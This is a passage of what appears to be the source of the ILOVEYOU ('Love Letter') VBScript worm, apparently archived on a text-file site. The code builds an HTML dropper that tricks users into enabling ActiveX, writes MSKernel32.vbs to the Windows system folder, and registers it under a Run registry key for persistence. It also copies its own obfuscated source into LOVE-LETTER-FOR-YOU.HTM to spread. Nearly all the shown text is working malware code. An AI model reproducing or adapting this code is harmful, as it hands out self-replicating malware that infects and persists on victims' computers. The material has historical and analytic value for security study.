"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open[#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#]@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open[#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#]@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if [window.screen]{var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo[0,0];window.resizeTo[wi,hi];}"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject[@-@Scripting.FileSystemObject@-@]"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder[1]"&vbcrlf& _
"code2=replace[code,chr[91]&chr[45]&chr[91],chr[39]]"&vbcrlf& _
"code3=replace[code2,chr[93]&chr[45]&chr[93],chr[34]]"&vbcrlf& _
"code4=replace[code3,chr[37]&chr[45]&chr[37],chr[92]]"&vbcrlf& _
"set wri=fso.CreateTextFile[dirsystem&@-@^-^MSKernel32.vbs@-@]"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if [fso.FileExists[dirsystem&@-@^-^MSKernel32.vbs@-@]] then"&vbcrlf& _
"if [err.number=424] then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if [aw=1] then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject[@-@WScript.Shell@-@]"&vbcrlf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace[dta1,chr[35]&chr[45]&chr[35],"'"]
dt1=replace[dt1,chr[64]&chr[45]&chr[64],""""]
dt4=replace[dt1,chr[63]&chr[45]&chr[63],"/"]
dt5=replace[dt4,chr[94]&chr[45]&chr[94],"\"]
dt2=replace[dta2,chr[35]&chr[45]&chr[35],"'"]
dt2=replace[dt2,chr[64]&chr[45]&chr[64],""""]
dt3=replace[dt2,chr[63]&chr[45]&chr[63],"/"]
dt6=replace[dt3,chr[94]&chr[45]&chr[94],"\"]
set fso=CreateObject["Scripting.FileSystemObject"]
set c=fso.OpenTextFile[WScript.ScriptFullName,1]
lines=Split[c.ReadAll,vbcrlf]
l1=ubound[lines]
for n=0 to ubound[lines]
lines[n]=replace[lines[n],"'",chr[91]+chr[45]+chr[91]]
lines[n]=replace[lines[n],"""",chr[93]+chr[45]+chr[93]]
lines[n]=replace[lines[n],"\",chr[37]+chr[45]+chr[37]]
if [l1=n] then
lines[n]=chr[34]+lines[n]+chr[34]
else
lines[n]=chr[34]+lines[n]+chr[34]&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile[dirsystem+"\LOVE-LETTER-FOR-YOU.HTM"]
b.close
set d=fso.OpenTextFile[dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2]
d.write dt5
d.write join[lines,vbcrlf]
d.write vbcrlf
d.write dt6
d.close
end sub

<------------------- Aqui Terminas de Enfadarte ------------------->

EOF

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT